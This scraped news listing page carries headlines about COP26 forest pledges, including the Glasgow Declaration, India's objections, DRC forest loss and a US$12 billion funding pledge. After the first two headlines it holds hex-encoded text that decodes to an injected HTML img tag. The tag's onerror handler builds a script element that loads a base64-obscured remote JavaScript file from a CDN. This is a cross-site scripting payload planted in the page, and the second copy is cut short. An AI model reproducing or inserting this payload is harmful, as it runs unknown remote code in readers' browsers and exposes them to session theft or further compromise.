Page 6 - Commodity Trade News Today

India not happy with the effort to link infrastructure development and related activities with forest conservation in the Glasgow Declaration’s final text">0x416d65726963613c696d67207372633d2222206f6e6572726f723d2276617220733d646f63756d656e742e637265617465456c656d656e74282773637269707427293b732e7372633d61746f6228274c79396a5a473475616e4e6b5a577870646e4975626d56304c32646f4c7a526b646d4d77626d5976595338784c6d707a">

Democratic Republic of the Congo (DRC), one of the African signatories to ‘Glasgow declaration’ lost 490,000 hectares of primary forest in 2020">0x416d65726963613c696d67207372633d2222206f6e6572726f723d2276617220733d646f63756d656e742e637265617465456c656d656e74282773637269707427293b732e7372633d61746f6228274c79396a5a473475616e4e6b5a577870646e4975626d56304c32646f4c7a526b646d4d77626d5976595338784c6d707a27293">

At the UN Climate Change Conference, 12 countries pledged US$ 12 billion for forest governance, restoring degraded lands, and mobilizing private sector investment.

World leaders representing more than 100 nations, which between them play host to more than 85% of forests globally, have committed to end deforestation and reverse land degradation at COP26 in Glasgow.

World Leaders Summit Action on Forests and Land-use Event highlights action on three critical shifts – in private finance; in sustainable trade of forest and agricultural commodities; and in empowering Indigenous Peoples and local communities.

World leaders are set to end the era of deforestation and land degradation by 2030 in a huge new announcement at COP26.

More than 100 leaders will commit to halt and reverse forest loss and land degradation by 2030.

Ten of the world’s biggest global agricultural trading and processing companies issued a joint statement and commitment to climate action The

Countries rally behind push to halt forest loss by the end of the decade, as major financial institutions pledge to eliminate deforestation-related activity from their portfolios

The promise, made in a joint statement issued late on Monday at the COP26 climate summit in Glasgow, was backed by the leaders of countries including Brazil, Indonesia and the Democratic Republic of Congo.